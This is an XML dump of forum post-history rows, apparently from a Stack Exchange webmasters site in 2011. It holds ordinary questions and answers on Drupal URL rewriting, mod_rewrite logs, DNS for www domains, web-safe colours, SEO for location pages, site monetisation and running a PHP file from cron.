  <row Id="21304" PostHistoryTypeId="2" PostId="9631" RevisionGUID="6c29a43a-cb3f-4fff-8f2a-a913903fcef5" CreationDate="2011-02-24T03:11:26.390" UserId="4021" Text="Serve up your Creative Commons boilerplate from an ad server.  OpenX is a good choice.&#xD;&#xA;&#xD;&#xA;You could also put the CC footer into a JS file (and if you want to push it, block bots from retrieving the JS).  Personally, I wouldn't recommend that." />
  <row Id="21308" PostHistoryTypeId="2" PostId="9632" RevisionGUID="7c6b088b-1224-4b74-a578-5db70d4cda7c" CreationDate="2011-02-24T03:28:17.553" UserId="1757" Text="My advice is to not obsess over &quot;optimal&quot; resolution too much. There's always a huge variation in screen resolutions, which is ever changing. Even if iPads won't ever support Flash, you still have android tablets, netbooks,  and notebooks to deal with. And if you try to cater to those with the lowest screen resolutions, you'll be de-optimizing the user experience for the average user who has much higher resolution.&#xD;&#xA;&#xD;&#xA;Besides, not everyone surfs the web with their browser maximized. And even different users on the same browser/OS could have different browser setups that change their viewport size. So there's no point trying to calculate the exact right pixel resolution (especially vertical resolution), since there is none.&#xD;&#xA;&#xD;&#xA;Browsers have scrollbars for a reason. If someone's surfing the web on a 1024x768 monitor, they know they'll need to scroll up and down. As long as you design the interface so that they're still able to access everything, they'll be fine.&#xD;&#xA;&#xD;&#xA;Instead of trying to calculate the perfect web resolution from unverified monitor resolution statistics and questionable assumptions about user behavior, just look at what's being used on the most popular sites on the web. Companies like Google, Amazon, eBay, etc. have the resources to conduct proper usability studies and user research to find out what real-life web resolutions are. So why not just take advantage of their research?&#xD;&#xA;&#xD;&#xA;I also don't believe in using &quot;web safe area&quot; templates. Just like your calculations subtracting UI element dimensions from the screen resolution, it gives a false sense of precision that's very misleading. There are just too many variables to say 572px is the exact perfect height for a web layout. A more useful template would have fuzzy borders or gradients similar to the [hypsometric tints][1] in elevation maps.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cartographic_relief_depiction#Hypsometric_tints" />
  <row Id="21309" PostHistoryTypeId="2" PostId="9633" RevisionGUID="289885a2-73b2-4d1f-b507-e62b8f1b814e" CreationDate="2011-02-24T03:49:07.170" UserId="1757" Text="I think John Conde has the right approach. Maybe you need to work on bulking up the content of your site (it's just bad practice to have a bunch of pages with very little on them&amp;mdash;though I can empathize with that situation).&#xD;&#xA;&#xD;&#xA;I would also take the preemptive step to use HTML5's semantic layout tags (`header` and `footer`). Google isn't taking these into account yet, but they probably will in the future. From a search engine's perspective it doesn't make sense to rank header/footer content as high as body text.&#xD;&#xA;&#xD;&#xA;Also, are you using proper heading tags? Are you giving your image content alt attributes? Are you using descriptive link text?&#xD;&#xA;&#xD;&#xA;Beyond that, it's just about increasing the actual amount of (quality) content on your site. Put your energy into delivering value to your users, and many of these SEO issues will take care of themselves. Using JeremyB's suggestions might be a good stopgap, but ultimately you'll want the CC line to be indexed and searchable as well." />
  <row Id="21310" PostHistoryTypeId="5" PostId="9633" RevisionGUID="ae624297-9555-4c44-93d9-21296e921432" CreationDate="2011-02-24T03:58:22.697" UserId="1757" Comment="added 211 characters in body" Text="I think John Conde has the right approach. Maybe you need to work on bulking up the content of your site (it's just bad practice to have a bunch of pages with very little on them&amp;mdash;though I can empathize with that situation).&#xD;&#xA;&#xD;&#xA;I would also take the preemptive step to use HTML5's semantic layout tags (`header` and `footer`). Google isn't taking these into account yet, but they probably will in the future. From a search engine's perspective it doesn't make sense to rank header/footer content as high as body text.&#xD;&#xA;&#xD;&#xA;Also, are you using proper heading tags? Are you giving your image content alt attributes? Are you using descriptive link text?&#xD;&#xA;&#xD;&#xA;Beyond that, it's just about increasing the actual amount of (quality) content on your site. Put your energy into delivering value to your users, and many of these SEO issues will take care of themselves. Using JeremyB's suggestions might be a good stopgap, but ultimately you'll want the CC line to be indexed and searchable as well.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;This is unrelated to your question, but Id also point out that unless you have multiple footers on each page, you should probably use `footer` as the element's `id` instead of as a classname." />
  <row Id="21312" PostHistoryTypeId="25" PostId="9620" RevisionGUID="9ef0927c-ee02-4fda-b640-9e472a70bd9b" CreationDate="2011-02-24T05:22:52.937" Comment="http://twitter.com/#!/StackWebmasters/status/40642796599775232" />
  <row Id="21313" PostHistoryTypeId="2" PostId="9635" RevisionGUID="ab662017-ccfc-4e29-8643-a11b0b5cff77" CreationDate="2011-02-24T05:45:47.963" UserId="2009" Text="I still remember one of my high school teachers lecturing us about the &quot;[web safe colors][wscwp]&quot;. A set of 216-256 colors that you should confine your designs to use, and nothing else besides them. Last I knew, Photoshop still has the &quot;web safe&quot; yield icon[1] on it's color picker.&#xD;&#xA;&#xD;&#xA;Are web safe colors still a concern? Outside of the obvious application (accessibility, legacy software versions, etc.), how much consideration should I give to limiting my color choice for my general audience?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;[1] Or was it the cube? I never remember.&#xD;&#xA;&#xD;&#xA;  [wscwp]: http://en.wikipedia.org/wiki/Web_colors#Web-safe_colors" />
  <row Id="21314" PostHistoryTypeId="1" PostId="9635" RevisionGUID="ab662017-ccfc-4e29-8643-a11b0b5cff77" CreationDate="2011-02-24T05:45:47.963" UserId="2009" Text="Are Web Safe Colors Still Relevant?" />
  <row Id="21315" PostHistoryTypeId="3" PostId="9635" RevisionGUID="ab662017-ccfc-4e29-8643-a11b0b5cff77" CreationDate="2011-02-24T05:45:47.963" UserId="2009" Text="&lt;accessibility&gt;" />
  <row Id="21316" PostHistoryTypeId="2" PostId="9636" RevisionGUID="86f4eb24-6442-4708-bb14-4e13c4c6a041" CreationDate="2011-02-24T07:09:36.647" UserId="4311" Text="No, they're not. Fewer than 1% of Internet users are now on the 8-bit displays that made them necessary." />
  <row Id="21317" PostHistoryTypeId="2" PostId="9637" RevisionGUID="7d8c5145-8e17-4190-9937-42cc4bd201c4" CreationDate="2011-02-24T07:31:15.110" UserDisplayName="user5629" Text="I manage websites for two non-profits using Weebly.  The big non-profit has dozens of events with thousands of registrants, and we use Eventbrite.  It's amazing - customer relationship management, database management, bells, whistles.  But it costs about $3.33 per $35 registration or 9% (once you include the credit card payment fee from Google Checkout.)&#xD;&#xA;&#xD;&#xA;A cheaper option is to use Google Checkout and make each payment option a separate &quot;product&quot; like I did on [this page][1] -&#xD;&#xA;&#xD;&#xA;Not exactly elegant, but it works.  And our $100 registration only costs $3.50 in fees. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tyrooc.org/register-for-tyrooc5---spokane.html" />
  <row Id="21318" PostHistoryTypeId="25" PostId="9635" RevisionGUID="dfccfe1d-1f3a-44d8-8405-64a3e592844e" CreationDate="2011-02-24T08:22:53.570" Comment="http://twitter.com/#!/StackWebmasters/status/40688099843375104" />
  <row Id="21319" PostHistoryTypeId="17" PostId="9639" RevisionGUID="fadec367-03f5-4203-b50c-984a3b2ef973" CreationDate="2011-02-24T08:25:20.443" UserId="-1" Comment="from http://stackoverflow.com/questions/5101153/drupal-urls-from-previous-setup/5101263#5101263" Text="" />
  <row Id="21320" PostHistoryTypeId="2" PostId="9639" RevisionGUID="c3b711b3-020a-4696-a486-5a4b619dd1a6" CreationDate="2011-02-24T06:38:54.067" UserDisplayName="tangentstorm" Text="You want the [path module](http://drupal.org/documentation/modules/path).&#xD;&#xA;&#xD;&#xA;If your old site followed a fixed scheme and you have a lot of urls, you might also be able to leverage [pathauto](http://drupal.org/documentation/modules/pathauto)." />
  <row Id="21321" PostHistoryTypeId="2" PostId="9638" RevisionGUID="ec15bcac-0d90-4811-a054-136491e47960" CreationDate="2011-02-24T06:24:19.893" UserDisplayName="bob" Text="&#xD;&#xA;What would the best way to setup previous site urls to new Drupal site." />
  <row Id="21322" PostHistoryTypeId="1" PostId="9638" RevisionGUID="ec15bcac-0d90-4811-a054-136491e47960" CreationDate="2011-02-24T06:24:19.893" UserDisplayName="bob" Text="Drupal urls from previous setup" />
  <row Id="21323" PostHistoryTypeId="3" PostId="9638" RevisionGUID="ec15bcac-0d90-4811-a054-136491e47960" CreationDate="2011-02-24T06:24:19.893" UserDisplayName="bob" Text="&lt;drupal&gt;" />
  <row Id="21324" PostHistoryTypeId="17" PostId="9638" RevisionGUID="51795684-d066-4de3-b34d-c3667697bef2" CreationDate="2011-02-24T08:25:20.443" UserId="-1" Comment="from http://stackoverflow.com/questions/5101153/drupal-urls-from-previous-setup" Text="" />
  <row Id="21325" PostHistoryTypeId="2" PostId="9640" RevisionGUID="a46fb92c-936c-4057-860c-5808efc4e19b" CreationDate="2011-02-24T08:42:58.660" UserId="3461" Text="Just in case, you have [here][1] another alternative.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/wampstack" />
  <row Id="21326" PostHistoryTypeId="2" PostId="9641" RevisionGUID="81d22313-57a8-4368-be1d-8d9f0ae2f878" CreationDate="2011-02-24T09:17:42.410" UserId="5631" Text="Hi guys I am new here so please be gentle :)&#xD;&#xA;&#xD;&#xA;I have created a web page for a small mail order business.&#xD;&#xA; &#xD;&#xA;The page asks the reader if they are in need of a supplier for products in their &quot;area&quot; and if they have ever been let down by a supplier in that &quot;area&quot; etc. It also lists all the local villages and hamlets around the [area] where they can also supply too. &#xD;&#xA;&#xD;&#xA;This page is dynamically created and the [area] changes and so do the small towns that are local to the town. The page also contains information on the products so the word count vs town names is not stupid.&#xD;&#xA;&#xD;&#xA;An example of one of the URL would be www.website.com/1014/Halesowen/&#xD;&#xA;&#xD;&#xA;It basically covers the whole of the UK so around 800 main towns with 28,000 local villages.&#xD;&#xA;&#xD;&#xA;The URL changes, so does the title and h1 tags, also each page is Geo coded for that town.&#xD;&#xA;&#xD;&#xA;My question really is this a good or bad idea?&#xD;&#xA;&#xD;&#xA;Is it a black hat technique ?&#xD;&#xA;&#xD;&#xA;I have been told if I have to ask the question then it probably is but the site does supply to all these areas just as any mail order company does and would like to get listed higher in each town for the products. &#xD;&#xA;&#xD;&#xA;I have seen this done on a few sites but only with a few targeted towns and not the whole of the UK so I would be really interested in your guys thoughts on this. &#xD;&#xA;&#xD;&#xA;I would post the URL to the site but as I am new here I am a bit unsure of the rules regarding posting links.&#xD;&#xA;&#xD;&#xA;The whole site needs a lot of other onsite SEO work doing and I will be doing that over the next few weeks.&#xD;&#xA;&#xD;&#xA;I look forward to your views on this.&#xD;&#xA;&#xD;&#xA;p.s. If I am allowed to post the URL without getting into trouble so you can see it someone let me know?&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="21327" PostHistoryTypeId="1" PostId="9641" RevisionGUID="81d22313-57a8-4368-be1d-8d9f0ae2f878" CreationDate="2011-02-24T09:17:42.410" UserId="5631" Text="Page Spamming via locations" />
  <row Id="21328" PostHistoryTypeId="3" PostId="9641" RevisionGUID="81d22313-57a8-4368-be1d-8d9f0ae2f878" CreationDate="2011-02-24T09:17:42.410" UserId="5631" Text="&lt;seo&gt;&lt;geolocation&gt;&lt;geotargeting&gt;&lt;spamming&gt;" />
  <row Id="21329" PostHistoryTypeId="2" PostId="9642" RevisionGUID="3cbf858f-e971-4cbd-9fbe-6369ed33d1dd" CreationDate="2011-02-24T09:20:09.363" UserId="3461" Text="I have done full sites using Illustrator or Fireworks (the graphic template, that is), but I usually prefer just Photohsop (even if some graphics might be done originally in a vector software) and doing my html/css in a plain text editor (but a good one: Notepad++ comes to mind). And to be true, done a bunch of sites this way, through the years..&#xD;&#xA;&#xD;&#xA;Some people just use the Fireworks and Dreamweaver combo (since some years Dreamweaver's coding mode does respect your code, not like other wysiwyg editors), and imho that is ok, too, though not my cup of tea." />
  <row Id="21330" PostHistoryTypeId="6" PostId="7989" RevisionGUID="0c1e7931-0f91-484b-894a-9a3a9a452c76" CreationDate="2011-02-24T09:21:43.200" UserId="288" Comment="edited tags" Text="&lt;drupal&gt;&lt;moderation&gt;" />
  <row Id="21331" PostHistoryTypeId="2" PostId="9643" RevisionGUID="d6595378-1f30-4cfd-93cc-b08835055fbb" CreationDate="2011-02-24T09:41:37.170" UserId="908" Text="I have a Drupal site, _site.com_, and our client has a campaign that they're promoting for which they've bought a new domain name, _campaign.com_. I'd like it so that a request for campaign.com internally rewrites to a particular page of the Drupal site. Note Drupal uses an .htaccess file in the document root.&#xD;&#xA;&#xD;&#xA;The normal Drupal rewrite is&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;# Rewrite URLs of the form 'x' to the form 'index.php?q=x'.&#xD;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;RewriteCond %{REQUEST_URI} !=/favicon.ico&#xD;&#xA;RewriteRule ^(.*)$ index.php?q=$1 [L,QSA]&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I added the following _before_ the normal rewrite.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;# Custom URLS (eg. microsites) go here&#xD;&#xA;RewriteCond %{HTTP_HOST} =campaign.com&#xD;&#xA;RewriteCond %{REQUEST_URI} =/&#xD;&#xA;RewriteRule ^ index.php?q=node/22 [L]&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Unfortunately it doesn't work, it just shows the homepage. Turning on the rewrite log I get this.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;1. [rid#2da8ea8/initial] (3) [perdir D:/wamp/www/] strip per-dir prefix: D:/wamp/www/ -&gt; &#xD;&#xA;2. [rid#2da8ea8/initial] (3) [perdir D:/wamp/www/] applying pattern '^' to uri ''&#xD;&#xA;3. [rid#2da8ea8/initial] (2) [perdir D:/wamp/www/] rewrite '' -&gt; 'index.php?q=node/22'&#xD;&#xA;4. [rid#2da8ea8/initial] (3) split uri=index.php?q=node/22 -&gt; uri=index.php, args=q=node/22&#xD;&#xA;5. [rid#2da8ea8/initial] (3) [perdir D:/wamp/www/] add per-dir prefix: index.php -&gt; D:/wamp/www/index.php&#xD;&#xA;6. [rid#2da8ea8/initial] (2) [perdir D:/wamp/www/] strip document_root prefix: D:/wamp/www/index.php -&gt; /index.php&#xD;&#xA;7. [rid#2da8ea8/initial] (1) [perdir D:/wamp/www/] internal redirect with /index.php [INTERNAL REDIRECT]&#xD;&#xA;8. [rid#2da7770/initial/redir#1] (3) [perdir D:/wamp/www/] strip per-dir prefix: D:/wamp/www/index.php -&gt; index.php&#xD;&#xA;9. [rid#2da7770/initial/redir#1] (3) [perdir D:/wamp/www/] applying pattern '^' to uri 'index.php'&#xD;&#xA;10.[rid#2da7770/initial/redir#1] (3) [perdir D:/wamp/www/] strip per-dir prefix: D:/wamp/www/index.php -&gt; index.php&#xD;&#xA;11.[rid#2da7770/initial/redir#1] (3) [perdir D:/wamp/www/] applying pattern '^(.*)$' to uri 'index.php'&#xD;&#xA;12.[rid#2da7770/initial/redir#1] (1) [perdir D:/wamp/www/] pass through D:/wamp/www/index.php&#xD;&#xA;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I'm not used to mod_rewrite, so I might be missing something, but comparing the logs from a call to http://site.com/node/3 and from http://campaign.com/ I can't see any meaningful difference. Specifically _uri_ and _args_ on line 4 seem correct, the internal redirect on line 7 seems right, and the pass through on line 12 seems right (because the file _index.php_ exists). But for some reason it seems the query string's been discarded/ignored around the time of the internal redirect. I'm completely stumped.&#xD;&#xA;&#xD;&#xA;Also, if anyone could provide a reference on understanding the rewrite log, that might help. It'd be great if there's a way to track the query string through the internal redirect.&#xD;&#xA;&#xD;&#xA;FWIW I'm using WampServer 2.1 with Apache 2.2.17." />
  <row Id="21332" PostHistoryTypeId="1" PostId="9643" RevisionGUID="d6595378-1f30-4cfd-93cc-b08835055fbb" CreationDate="2011-02-24T09:41:37.170" UserId="908" Text="How to internally rewrite a page when requested from specific HTTP_HOST" />
  <row Id="21333" PostHistoryTypeId="3" PostId="9643" RevisionGUID="d6595378-1f30-4cfd-93cc-b08835055fbb" CreationDate="2011-02-24T09:41:37.170" UserId="908" Text="&lt;apache&gt;&lt;drupal&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="21334" PostHistoryTypeId="2" PostId="9644" RevisionGUID="5f791d13-7b2a-4d35-a891-eb839b68deee" CreationDate="2011-02-24T11:04:21.090" UserId="5568" Text="The problem I was having was actually not even related to where I was looking...&#xD;&#xA;&#xD;&#xA;It was the  &#xD;&#xA;&#xD;&#xA;        RewriteCond     %{HTTP_HOST}            ^www.mysite.com$   [NC]&#xD;&#xA;        RewriteRule     ^(.*)$                  - [L]&#xD;&#xA;&#xD;&#xA;The [L] option actually prevented the mod_rewrite from even processing anything beflow, in which where the favicon.ico code was at.&#xD;&#xA;&#xD;&#xA;I got rid of that rule&amp;cond and it worked like a charm." />
  <row Id="21335" PostHistoryTypeId="2" PostId="9645" RevisionGUID="ac869689-de80-4c11-b100-8c2b8e0ed927" CreationDate="2011-02-24T11:18:42.523" UserId="1089" Text="My vote would be new site, with explicit links/statements that the site is ran by cool-gifts.com. If your original site has a good reputation it can only help (and help pass on page rank)&#xD;&#xA;&#xD;&#xA;Reason being I would expect cool-gifts.com to have a design which fits the image of the products you are selling - cool gifts implies a &quot;cool design&quot;&#xD;&#xA;&#xD;&#xA;Personally I'd have reservations about buying 2nd hand gifts from a &quot;cool&quot; looking site, I'd expect something a bit more homely or &quot;warm&quot; design wise.&#xD;&#xA;&#xD;&#xA;I think the bit of extra effort to get a new stand alone site up and running will be worth it in the long term.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21336" PostHistoryTypeId="2" PostId="9646" RevisionGUID="a5b195c2-4eee-4520-bd58-6a861ee3f328" CreationDate="2011-02-24T11:21:40.727" UserId="3321" Text="I am searching for a moderated celebrity chat. Every week a celebrity from my country will answer questions from users who join the room. I want to have a moderator who will filter those questions and the decide which to show publicly in the chat. Only the moderator must be able to chat with the celebrity. The answers provided from the celebrity will be published to the room&#xD;&#xA;&#xD;&#xA;Is there a solution like this? I prefer free by I'd paid too." />
  <row Id="21337" PostHistoryTypeId="1" PostId="9646" RevisionGUID="a5b195c2-4eee-4520-bd58-6a861ee3f328" CreationDate="2011-02-24T11:21:40.727" UserId="3321" Text="Need a moderated celebrity chat solution" />
  <row Id="21338" PostHistoryTypeId="3" PostId="9646" RevisionGUID="a5b195c2-4eee-4520-bd58-6a861ee3f328" CreationDate="2011-02-24T11:21:40.727" UserId="3321" Text="&lt;web-applications&gt;&lt;chat&gt;" />
  <row Id="21339" PostHistoryTypeId="25" PostId="9641" RevisionGUID="8898a6b6-1fc6-4496-afd4-c464a0c83ff4" CreationDate="2011-02-24T11:22:53.220" Comment="http://twitter.com/#!/StackWebmasters/status/40733397231869952" />
  <row Id="21340" PostHistoryTypeId="17" PostId="9648" RevisionGUID="9f03a6a2-4382-4225-8a4f-9ff1ab33c0bf" CreationDate="2011-02-24T12:15:42.360" UserId="-1" Comment="from http://stackoverflow.com/questions/5102713/http-url-works-but-www-url-doesnt/5102728#5102728" Text="" />
  <row Id="21341" PostHistoryTypeId="17" PostId="9649" RevisionGUID="ea0876f7-846d-44d3-b731-ddb3c5a59f25" CreationDate="2011-02-24T12:15:42.360" UserId="-1" Comment="from http://stackoverflow.com/questions/5102713/http-url-works-but-www-url-doesnt/5102735#5102735" Text="" />
  <row Id="21342" PostHistoryTypeId="2" PostId="9648" RevisionGUID="49056046-dec9-4fba-9ece-5c823335a1a2" CreationDate="2011-02-24T09:30:53.707" UserDisplayName="Finbarr" Text="You need to look at your DNS configuration.&#xD;&#xA;&#xD;&#xA;www is not automatic, and needs a manual (A?) entry or some kind of wildcarding." />
  <row Id="21343" PostHistoryTypeId="2" PostId="9649" RevisionGUID="49ab0adb-ea32-43f7-beb7-0d27ff68ea76" CreationDate="2011-02-24T09:31:27.803" UserDisplayName="eznme" Text="This is not rare. They configured their webserver &quot;wrong&quot; by not setting their standard-entry and web-server-entry to the same service. This is something they can decide for themselves by e.g. changing a config file in their e.g. Apache." />
  <row Id="21344" PostHistoryTypeId="2" PostId="9647" RevisionGUID="1e2ebc16-237a-4441-aa8f-b0073e4a7a5f" CreationDate="2011-02-24T09:28:31.913" UserId="2792" Text="My website http://bakasura.in works fine. when i try to visit it via www.bakasura.in it doesnt work.&#xD;&#xA;&#xD;&#xA;What is the problem ?" />
  <row Id="21345" PostHistoryTypeId="1" PostId="9647" RevisionGUID="1e2ebc16-237a-4441-aa8f-b0073e4a7a5f" CreationDate="2011-02-24T09:28:31.913" UserId="2792" Text="http://url works but www.url doesnt" />
  <row Id="21346" PostHistoryTypeId="3" PostId="9647" RevisionGUID="1e2ebc16-237a-4441-aa8f-b0073e4a7a5f" CreationDate="2011-02-24T09:28:31.913" UserId="2792" Text="&lt;url&gt;&lt;web&gt;" />
  <row Id="21347" PostHistoryTypeId="17" PostId="9647" RevisionGUID="c0463c9f-ba70-4154-991b-9ef404de8840" CreationDate="2011-02-24T12:15:42.360" UserId="-1" Comment="from http://stackoverflow.com/questions/5102713/http-url-works-but-www-url-doesnt" Text="" />
  <row Id="21348" PostHistoryTypeId="2" PostId="9650" RevisionGUID="70081aaf-b587-4e9d-b49b-26411b8f6fe0" CreationDate="2011-02-24T13:43:41.450" UserId="5464" Text="As everyone else has said i would double check DNS and then look at your web server config to make sure its set-up to respond to both. &#xD;&#xA;&#xD;&#xA;One thing i would think about from and SEO point of view is which you want to be your main indexed URL as really you want people to find and bookmark etc by one address and stop duplicate content issues. The best solution is to 301 redirect the non primary version. " />
  <row Id="21349" PostHistoryTypeId="2" PostId="9651" RevisionGUID="9c8263e0-5c2b-4eeb-b569-6de1c67df9e5" CreationDate="2011-02-24T13:49:44.480" UserId="5464" Text="Not sure if this will help but was speaking with someone this morning who mentioned that GoDaddy chain there SSL certificates and that some bits of software don't trust this as they can not look further down the chain. &#xD;&#xA;&#xD;&#xA;this article talks about the issue: [SSLShopper cert not trusted][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sslshopper.com/ssl-certificate-not-trusted-error.html" />
  <row Id="21350" PostHistoryTypeId="2" PostId="9652" RevisionGUID="044ad4f7-cf14-41ba-a675-5b20df01ab28" CreationDate="2011-02-24T13:56:42.070" UserId="908" Text="You don't need contrib modules for this. You can edit the content type and set it to be unpublished by default. Only users with the administer nodes permission will be able to mark it as published.&#xD;&#xA;&#xD;&#xA;There are a couple of modules that also split out publishing permission from administer nodes, in case you want to allow someone the right to publish without granting them full administer nodes perms.&#xD;&#xA;&#xD;&#xA;HTH" />
  <row Id="21351" PostHistoryTypeId="2" PostId="9653" RevisionGUID="9e0a0bdf-c2e9-4f8e-8d1c-c1e411a1081d" CreationDate="2011-02-24T14:07:18.027" UserId="5464" Text="i don't see a problem with it lots of sites break down by products / sectors / locations etc in a very similar way what you will need to think about is that a lot of the pages that are not popular may not rank well and you should think about how you are going to ensure the best way to surface content. Consider moving the Id to wards the end of the URL. &#xD;&#xA;&#xD;&#xA;Also think about the rest of the content on the pages as I have seen it before where H1 / titles / meta descriptions all follow a very similar if not identical format and then those page do not do so well and it looks like duplicate content. You might want to just start with the main towns then look at your Analytics to figure which villages to build on. " />
  <row Id="21353" PostHistoryTypeId="25" PostId="9647" RevisionGUID="6dc86476-00e2-44d1-987a-e6f0699a995b" CreationDate="2011-02-24T14:22:53.553" Comment="http://twitter.com/#!/StackWebmasters/status/40778696130301952" />
  <row Id="21357" PostHistoryTypeId="2" PostId="9654" RevisionGUID="8467cc71-9a65-4647-bfd7-9065d2bcd45f" CreationDate="2011-02-24T15:20:30.447" UserId="5637" Text="I'm considering acquiring a website that traffics close to 20k a month. It's currently unprofitable, but obviously I would need to change that to justify the cost.&#xD;&#xA;&#xD;&#xA;It's a support site for a framework similar to CakePHP. A resource that allows people to find plugins for that site. How would you go about expanding this site so that it would be broad enough to raise traffic and how would you make money off of it?&#xD;&#xA;&#xD;&#xA;Some ideas I've had:&#xD;&#xA;1- BuySellAds.com seem to make ads classy and relevant&#xD;&#xA;2- Team up with other sites in some way (What ways? ... Ecommerce sites that sell plugins (like CodeCanyon), etc)&#xD;&#xA;3- Write tutorials and such to drive more traffic (time consuming, and already heavily saturated for this framework).&#xD;&#xA;&#xD;&#xA;Are there resources out there that help webmasters in ways like this?" />
  <row Id="21358" PostHistoryTypeId="1" PostId="9654" RevisionGUID="8467cc71-9a65-4647-bfd7-9065d2bcd45f" CreationDate="2011-02-24T15:20:30.447" UserId="5637" Text="Ideas for making money off a website" />
  <row Id="21359" PostHistoryTypeId="3" PostId="9654" RevisionGUID="8467cc71-9a65-4647-bfd7-9065d2bcd45f" CreationDate="2011-02-24T15:20:30.447" UserId="5637" Text="&lt;resources&gt;&lt;idea&gt;" />
  <row Id="21360" PostHistoryTypeId="2" PostId="9655" RevisionGUID="0dff7a5f-3db7-463e-a9e3-93a7a1229b3a" CreationDate="2011-02-24T15:22:02.403" UserId="4502" Text="Based on response to my comment on the question, first you'd have to install the CMS on your laptop somehow. I don't know what OS you run, but you can look at MAMP for OSX or Wampserver for Windows. &#xD;&#xA;&#xD;&#xA;At that point, you can use MODx to build out your site, etc. and when done there's a feature to &lt;a href=&quot;http://wiki.modxcms.com/index.php/Export_static_html&quot;&gt;dump it out as static HTML&lt;/a&gt;. (I &lt;em&gt;think&lt;/em&gt; those instructions are for Evo; it's been a while. But I'd imagine the feature is still around in Revo; the demo I'm trying to access is borked at the moment.) You should then be able to upload those files to the server.&#xD;&#xA;&#xD;&#xA;But this is a rather less than ideal process and I'd suggest resolving whatever it is that prevents you from installing software on the server itself instead, if possible." />
  <row Id="21361" PostHistoryTypeId="6" PostId="9654" RevisionGUID="d47eeece-25a0-4293-a1f8-de2e056caf41" CreationDate="2011-02-24T15:27:52.327" UserId="1253" Comment="Removed &quot;resources &quot; tag, added &quot;revenue monetize&quot; tags" Text="&lt;idea&gt;&lt;revenue&gt;&lt;monetize&gt;" />
  <row Id="21362" PostHistoryTypeId="6" PostId="9654" RevisionGUID="3df6cd23-c02e-442a-b4ee-8a2d4b25e0fc" CreationDate="2011-02-24T15:30:33.147" UserId="5637" Comment="readded resources tag, I am looking for resources on the subject as well" Text="&lt;resources&gt;&lt;idea&gt;&lt;revenue&gt;&lt;monetize&gt;" />
  <row Id="21363" PostHistoryTypeId="2" PostId="9656" RevisionGUID="696ca661-030d-4a9e-a2dc-e5ff2c67e456" CreationDate="2011-02-24T15:32:26.973" UserId="1253" Text="Websites that are targeted towards developers/programmers tend to have very low click thru rates for advertisements. &#xD;&#xA;&#xD;&#xA;You may want to consider selling listings for developers to advertise their services particularly for that framework. You could also sell space for job listings or for developers looking to be hired.&#xD;&#xA;&#xD;&#xA;Content drives traffic so more tutorials would be a huge plus as they are always popular (assuming they are well done). You may want to consider allowing users to submit tutorials in exchange for a free link to their website. That way you get lots of free content (only add tutorials that don't suck) and they get a link that has some value (SEO and driving traffic)." />
  <row Id="21364" PostHistoryTypeId="2" PostId="9657" RevisionGUID="b3148438-b63e-4248-ae3c-d755abba3816" CreationDate="2011-02-24T16:14:55.940" UserId="1426" Text="Howabout an App Store type model? You provide all the facilities for developers to sell their plugins online, where you take a cut of the transaction. &#xD;&#xA;&#xD;&#xA;Since developers are your likely audience, think about the types of companies who would want to market to developers. Perhaps you could partner with software companies offering commercial IDE software, or conferences (where again you take a cut of referrals)." />
  <row Id="21365" PostHistoryTypeId="2" PostId="9658" RevisionGUID="97588915-50e5-47d6-aca0-856f2a8d6940" CreationDate="2011-02-24T17:21:04.033" UserId="2632" Text="(Possibly this belongs on stackoverflow, although it's not really a programming issue since the code works when run directly. If it needs to be moved, though, no problem.)&#xD;&#xA;&#xD;&#xA;I have a PHP file (which consumers a National Weather Service web service via SOAP, if it matters) that I need to run on a scheduled basis. I'm trying to set up a cron job in Webmin. If I use an absolute path to the file in the Command field, when I run it I get some strange errors:&#xD;&#xA;&#xD;&#xA;    /var/www/html/mysite.com/test/ndfdXMLclient.php: line 1: ?php: No such file or directory&#xD;&#xA;    /var/www/html/mysite.com/test/ndfdXMLclient.php: line 2: //: is a directory&#xD;&#xA;    /var/www/html/mysite.com/test/ndfdXMLclient.php: line 3: //DOCUMENTATION: No such file or directory&#xD;&#xA;    /var/www/html/mysite.com/test/ndfdXMLclient.php: line 4: //: is a directory&#xD;&#xA;    /var/www/html/mysite.com/test/ndfdXMLclient.php: line 5: syntax error near unexpected token `&quot;running client code&quot;,'&#xD;&#xA;    /var/www/html/mysite.com/test/ndfdXMLclient.php: line 5: `error_log(&quot;running client code&quot;, 1, &quot;myemail@gmail.com&quot;);'&#xD;&#xA;&#xD;&#xA;The actual code in my file for those 5 lines looks like this:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    //  ***************************************************************************&#xD;&#xA;    //DOCUMENTATION FROM WEATHER.GOV ALL STORED IN xmlClientComments.txt&#xD;&#xA;    //  ***************************************************************************&#xD;&#xA;    error_log(&quot;running client code&quot;, 1, &quot;myemail@gmail.com&quot;);&#xD;&#xA;&#xD;&#xA;The code runs perfectly fine when I run it directly in my browser, so why doesn't webmin recognize it as code? (The same thing happens if I enter the actual URL in the command field - http://mysite.com/test/ndfdXMLclient.php.)&#xD;&#xA;&#xD;&#xA;I've never worked with webmin before; most of our hosts' cron control panels allow cron jobs to run PHP files like this with no issue. Is there some trick to getting webmin to read php as actual php?" />
